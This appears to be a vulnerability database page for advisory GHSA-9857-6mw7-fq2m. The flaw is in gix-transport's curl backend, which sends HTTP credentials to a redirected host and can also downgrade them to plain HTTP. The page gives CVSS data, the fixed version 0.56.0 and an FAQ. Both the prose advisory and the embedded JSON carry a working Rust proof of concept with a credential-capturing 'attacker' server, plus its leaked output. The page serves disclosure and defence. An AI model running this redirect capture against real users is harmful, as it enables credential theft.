GHSA-9857-6mw7-fq2m: gix-transport HTTP Credentials Leaked To Redirected Vulnerability

MODERATE
CVSS 6.8
CWE-522
Published
Advisory Summary

GHSA-9857-6mw7-fq2m is a MODERATE (CVSS 6.8) http credentials leaked to redirected vulnerability (CWE-522: Insufficiently Protected Credentials) affecting gix-transport libraries in the crates.io ecosystem. The issue involves http credentials leaked to redirected host in curl backend. Remediation is available by upgrading affected packages to version 0.56.0.

GHSA-9857-6mw7-fq2m at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9857-6mw7-fq2m
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product gix-transport
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-9857-6mw7-fq2m

To remediate this vulnerability, upgrade all affected gix-transport dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gix-transport fixed: 0.56.0
Upgrade gix-transport to 0.56.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gix-transport

How to Check if You Are Affected

To determine whether your application is affected by GHSA-9857-6mw7-fq2m, inspect your project dependencies for gix-transport:

inspect dependencies for gix-transport

Analyze the terminal output to locate any version of gix-transport in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.56.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In gix-transport, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL). The reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host. ## Details The vulnerability involves two components in `gix-transport`: **1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs)) After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166). **2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293)) `add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host. The `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309). ### Attack flow: cross-domain credential leak 1. Victim clones `https://legitimate.com/repo` with credentials configured 2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...` 3. Curl follows the redirect and strips `Authorization` for this GET (safe so far) 4. Attacker serves a valid info/refs response; `redirected_base_url` is set 5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com` 6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending 7. `Authorization: Basic <credentials>` is sent to `attacker.com` Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide. ### Secondary vector: HTTPS-to-HTTP downgrade The cleartext protection at `mod.rs` line 300-305 also checks `self.url`: ```rust if self.url.starts_with("http://") { return Err(client::Error::AuthenticationRefused("...")); } ``` This only validates the original URL's scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP. 1. Victim clones `https://legitimate.com/repo` with credentials 2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS) 3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials 4. `Authorization` header is sent over unencrypted HTTP to `attacker.com` ## PoC A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak. **To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`. <details> <summary>Cargo.toml</summary> ```toml [package] name = "poc-gitoxide-redirect" version = "0.1.0" edition = "2021" [dependencies] # http-client-insecure-credentials is only needed because the PoC uses http:// # to avoid TLS setup. A real attack would use https:// and not require this feature. gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] } gix-sec = { path = "../gitoxide/gix-sec" } gix-url = { path = "../gitoxide/gix-url" } gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] } ``` </details> <details> <summary>src/main.rs</summary> ```rust use std::io::{BufRead, BufReader, Write}; use std::net::TcpListener; use std::sync::mpsc; use std::thread; use gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO}; fn main() { println!("=== gitoxide HTTP credential leak via redirect ===\n"); let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>(); // Attacker server (port 9090): captures credentials let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker"); let attacker_handle = thread::spawn(move || { let (mut conn1, _) = attacker.accept().expect("accept conn1"); let mut reader1 = BufReader::new(conn1.try_clone().unwrap()); let mut headers1 = Vec::new(); loop { let mut line = String::new(); reader1.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } headers1.push(line.trim().to_string()); } println!("[attacker] GET /info/refs headers (from redirect):"); for h in &headers1 { println!(" {h}"); } let pkt_service = "001e# service=git-upload-pack\n"; let pkt_flush = "0000"; let fake_hash = "a".repeat(40); let caps = "multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag"; let ref_line = format!("{fake_hash} HEAD\0{caps}\n"); let ref_pkt = format!("{:04x}{ref_line}", ref_line.len() + 4); let body = format!("{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}"); let response = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-advertisement\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len() ); conn1.write_all(response.as_bytes()).unwrap(); conn1.flush().unwrap(); drop(conn1); let (mut conn2, _) = attacker.accept().expect("accept conn2"); let mut reader2 = BufReader::new(conn2.try_clone().unwrap()); let mut headers2 = Vec::new(); let mut content_length: usize = 0; loop { let mut line = String::new(); reader2.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } let trimmed = line.trim().to_string(); if let Some(cl) = trimmed.strip_prefix("Content-Length: ") { content_length = cl.parse().unwrap_or(0); } headers2.push(trimmed); } if content_length > 0 { let mut body_buf = vec![0u8; content_length]; use std::io::Read; reader2.read_exact(&mut body_buf).ok(); } println!("\n[attacker] POST /git-upload-pack headers:"); for h in &headers2 { let prefix = if h.starts_with("Authorization:") { " >>> LEAKED: " } else { " " }; println!("{prefix}{h}"); } let resp_body = "0000"; let response2 = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-result\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}", resp_body.len() ); conn2.write_all(response2.as_bytes()).unwrap(); conn2.flush().unwrap(); drop(conn2); captured_tx.send(headers2).ok(); }); // Legitimate server (port 8080): redirects to attacker let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit"); let legit_handle = thread::spawn(move || { let (mut conn, _) = legit.accept().expect("accept legit"); let mut reader = BufReader::new(conn.try_clone().unwrap()); let mut request_line = String::new(); reader.read_line(&mut request_line).unwrap(); println!("[legit] Received: {}", request_line.trim()); loop { let mut line = String::new(); reader.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } } let redirect_url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack"; let response = format!( "HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n" ); conn.write_all(response.as_bytes()).unwrap(); conn.flush().unwrap(); println!("[legit] Sent 302 redirect to attacker server"); }); thread::sleep(std::time::Duration::from_millis(100)); println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials..."); let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url"); let mut transport: http::Transport<http::curl::Curl> = http::connect(url, gix_transport::Protocol::V1, false); transport .set_identity(gix_sec::identity::Account { username: "victim-user".into(), password: "super-secret-token".into(), oauth_refresh_token: None, }) .expect("set identity"); println!("[client] Performing handshake (GET /info/refs)..."); match transport.handshake(gix_transport::Service::UploadPack, &[]) { Ok(_) => println!("[client] Handshake succeeded"), Err(e) => println!("[client] Handshake error: {e}"), } println!("[client] Sending request (POST /git-upload-pack)..."); match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) { Ok(_writer) => println!("[client] Request sent"), Err(e) => println!("[client] Request error: {e}"), } legit_handle.join().ok(); attacker_handle.join().ok(); println!("\n=== RESULT ==="); if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) { let leaked = headers.iter().any(|h| h.starts_with("Authorization:")); if leaked { let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap(); println!("VULNERABLE: Credentials leaked to attacker server!"); println!("Captured: {auth}"); } else { println!("NOT VULNERABLE: No credentials captured."); } } else { println!("ERROR: Timed out."); } } ``` </details> **Output:** ``` [attacker] GET /info/refs headers (from redirect): GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 Accept: */* User-Agent: git/oxide-0.55.0 [attacker] POST /git-upload-pack headers: POST /repo.git/git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu VULNERABLE: Credentials leaked to attacker server! Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu ``` The GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`. ## Impact Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk. ## Suggested Fix 1. Only attach `Authorization` if the effective URL's host matches the original URL's host. 2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior. 3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

GHSA-9857-6mw7-fq2m Affected gix-transport Versions

1 component(s)
Fixed Versions:
0.56.0
Product / Package Ecosystem Affected Versions Fixed Version
gix-transport
crates.io
≥ 0.25.4
< 0.56.0
0.56.0

References

Frequently Asked Questions

What is GHSA-9857-6mw7-fq2m?
GHSA-9857-6mw7-fq2m is a security vulnerability in gix-transport involving HTTP credentials leaked to redirected host in curl backend under CWE-522: Insufficiently Protected Credentials.
Which gix-transport versions are affected?
Affected versions include releases prior to 0.56.0 across affected packages: gix-transport.
What version fixes GHSA-9857-6mw7-fq2m?
Upgrading to 0.56.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gix-transport affected?
Yes, gix-transport is affected in releases prior to 0.56.0. Upgrade your dependency to 0.56.0 or later.
What is the CVSS score of GHSA-9857-6mw7-fq2m?
GHSA-9857-6mw7-fq2m has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-9857-6mw7-fq2m?
GHSA-9857-6mw7-fq2m is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check crates.io dependencies for GHSA-9857-6mw7-fq2m?
Run the dependency tree command: 'inspect dependencies for gix-transport'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9857-6mw7-fq2m",
  "modified" : "2026-05-05T19:16:35Z",
  "published" : "2026-05-05T19:16:35Z",
  "aliases" : [ ],
  "summary" : "gix-transport: HTTP credentials leaked to redirected host in curl backend",
  "details" : "## Summary\n\nThe curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL).\n\nThe reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host.\n\n## Details\n\nThe vulnerability involves two components in `gix-transport`:\n\n**1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs))\n\nAfter a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166).\n\n**2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293))\n\n`add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.\n\nThe `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309).\n\n### Attack flow: cross-domain credential leak\n\n1. Victim clones `https://legitimate.com/repo` with credentials configured\n2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...`\n3. Curl follows the redirect and strips `Authorization` for this GET (safe so far)\n4. Attacker serves a valid info/refs response; `redirected_base_url` is set\n5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com`\n6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending\n7. `Authorization: Basic <credentials>` is sent to `attacker.com`\n\nCurl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.\n\n### Secondary vector: HTTPS-to-HTTP downgrade\n\nThe cleartext protection at `mod.rs` line 300-305 also checks `self.url`:\n\n```rust\nif self.url.starts_with(\"http://\") {\n    return Err(client::Error::AuthenticationRefused(\"...\"));\n}\n```\n\nThis only validates the original URL's scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP.\n\n1. Victim clones `https://legitimate.com/repo` with credentials\n2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS)\n3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials\n4. `Authorization` header is sent over unencrypted HTTP to `attacker.com`\n\n## PoC\n\nA complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak.\n\n**To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`.\n\n<details>\n<summary>Cargo.toml</summary>\n\n```toml\n[package]\nname = \"poc-gitoxide-redirect\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\n# http-client-insecure-credentials is only needed because the PoC uses http://\n# to avoid TLS setup. A real attack would use https:// and not require this feature.\ngix-transport = { path = \"../gitoxide/gix-transport\", features = [\"http-client-curl\", \"http-client-insecure-credentials\"] }\ngix-sec = { path = \"../gitoxide/gix-sec\" }\ngix-url = { path = \"../gitoxide/gix-url\" }\ngix-packetline = { path = \"../gitoxide/gix-packetline\", features = [\"blocking-io\"] }\n```\n\n</details>\n\n<details>\n<summary>src/main.rs</summary>\n\n```rust\nuse std::io::{BufRead, BufReader, Write};\nuse std::net::TcpListener;\nuse std::sync::mpsc;\nuse std::thread;\n\nuse gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO};\n\nfn main() {\n    println!(\"=== gitoxide HTTP credential leak via redirect ===\\n\");\n\n    let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>();\n\n    // Attacker server (port 9090): captures credentials\n    let attacker = TcpListener::bind(\"127.0.0.1:9090\").expect(\"bind attacker\");\n    let attacker_handle = thread::spawn(move || {\n        let (mut conn1, _) = attacker.accept().expect(\"accept conn1\");\n        let mut reader1 = BufReader::new(conn1.try_clone().unwrap());\n        let mut headers1 = Vec::new();\n        loop {\n            let mut line = String::new();\n            reader1.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            headers1.push(line.trim().to_string());\n        }\n        println!(\"[attacker] GET /info/refs headers (from redirect):\");\n        for h in &headers1 { println!(\"  {h}\"); }\n\n        let pkt_service = \"001e# service=git-upload-pack\\n\";\n        let pkt_flush = \"0000\";\n        let fake_hash = \"a\".repeat(40);\n        let caps = \"multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag\";\n        let ref_line = format!(\"{fake_hash} HEAD\\0{caps}\\n\");\n        let ref_pkt = format!(\"{:04x}{ref_line}\", ref_line.len() + 4);\n        let body = format!(\"{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}\");\n        let response = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: application/x-git-upload-pack-advertisement\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{body}\",\n            body.len()\n        );\n        conn1.write_all(response.as_bytes()).unwrap();\n        conn1.flush().unwrap();\n        drop(conn1);\n\n        let (mut conn2, _) = attacker.accept().expect(\"accept conn2\");\n        let mut reader2 = BufReader::new(conn2.try_clone().unwrap());\n        let mut headers2 = Vec::new();\n        let mut content_length: usize = 0;\n        loop {\n            let mut line = String::new();\n            reader2.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            let trimmed = line.trim().to_string();\n            if let Some(cl) = trimmed.strip_prefix(\"Content-Length: \") {\n                content_length = cl.parse().unwrap_or(0);\n            }\n            headers2.push(trimmed);\n        }\n        if content_length > 0 {\n            let mut body_buf = vec![0u8; content_length];\n            use std::io::Read;\n            reader2.read_exact(&mut body_buf).ok();\n        }\n\n        println!(\"\\n[attacker] POST /git-upload-pack headers:\");\n        for h in &headers2 {\n            let prefix = if h.starts_with(\"Authorization:\") { \"  >>> LEAKED: \" } else { \"  \" };\n            println!(\"{prefix}{h}\");\n        }\n\n        let resp_body = \"0000\";\n        let response2 = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: application/x-git-upload-pack-result\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{resp_body}\",\n            resp_body.len()\n        );\n        conn2.write_all(response2.as_bytes()).unwrap();\n        conn2.flush().unwrap();\n        drop(conn2);\n\n        captured_tx.send(headers2).ok();\n    });\n\n    // Legitimate server (port 8080): redirects to attacker\n    let legit = TcpListener::bind(\"127.0.0.1:8080\").expect(\"bind legit\");\n    let legit_handle = thread::spawn(move || {\n        let (mut conn, _) = legit.accept().expect(\"accept legit\");\n        let mut reader = BufReader::new(conn.try_clone().unwrap());\n        let mut request_line = String::new();\n        reader.read_line(&mut request_line).unwrap();\n        println!(\"[legit] Received: {}\", request_line.trim());\n        loop {\n            let mut line = String::new();\n            reader.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n        }\n        let redirect_url = \"http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack\";\n        let response = format!(\n            \"HTTP/1.1 302 Found\\r\\nLocation: {redirect_url}\\r\\nContent-Length: 0\\r\\n\\r\\n\"\n        );\n        conn.write_all(response.as_bytes()).unwrap();\n        conn.flush().unwrap();\n        println!(\"[legit] Sent 302 redirect to attacker server\");\n    });\n\n    thread::sleep(std::time::Duration::from_millis(100));\n\n    println!(\"\\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...\");\n    let url: gix_url::Url = \"http://127.0.0.1:8080/repo.git\".try_into().expect(\"parse url\");\n    let mut transport: http::Transport<http::curl::Curl> =\n        http::connect(url, gix_transport::Protocol::V1, false);\n    transport\n        .set_identity(gix_sec::identity::Account {\n            username: \"victim-user\".into(),\n            password: \"super-secret-token\".into(),\n            oauth_refresh_token: None,\n        })\n        .expect(\"set identity\");\n\n    println!(\"[client] Performing handshake (GET /info/refs)...\");\n    match transport.handshake(gix_transport::Service::UploadPack, &[]) {\n        Ok(_) => println!(\"[client] Handshake succeeded\"),\n        Err(e) => println!(\"[client] Handshake error: {e}\"),\n    }\n\n    println!(\"[client] Sending request (POST /git-upload-pack)...\");\n    match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {\n        Ok(_writer) => println!(\"[client] Request sent\"),\n        Err(e) => println!(\"[client] Request error: {e}\"),\n    }\n\n    legit_handle.join().ok();\n    attacker_handle.join().ok();\n\n    println!(\"\\n=== RESULT ===\");\n    if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {\n        let leaked = headers.iter().any(|h| h.starts_with(\"Authorization:\"));\n        if leaked {\n            let auth = headers.iter().find(|h| h.starts_with(\"Authorization:\")).unwrap();\n            println!(\"VULNERABLE: Credentials leaked to attacker server!\");\n            println!(\"Captured: {auth}\");\n        } else {\n            println!(\"NOT VULNERABLE: No credentials captured.\");\n        }\n    } else {\n        println!(\"ERROR: Timed out.\");\n    }\n}\n```\n\n</details>\n\n**Output:**\n\n```\n[attacker] GET /info/refs headers (from redirect):\n  GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  Accept: */*\n  User-Agent: git/oxide-0.55.0\n\n[attacker] POST /git-upload-pack headers:\n  POST /repo.git/git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n\nVULNERABLE: Credentials leaked to attacker server!\nCaptured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n```\n\nThe GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`.\n\n## Impact\n\nAny user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.\n\n## Suggested Fix\n\n1. Only attach `Authorization` if the effective URL's host matches the original URL's host.\n2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.\n3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "gix-transport"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.25.4"
      }, {
        "fixed" : "0.56.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.55.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GitoxideLabs/gitoxide"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:16:35Z",
    "nvd_published_at" : null
  }
}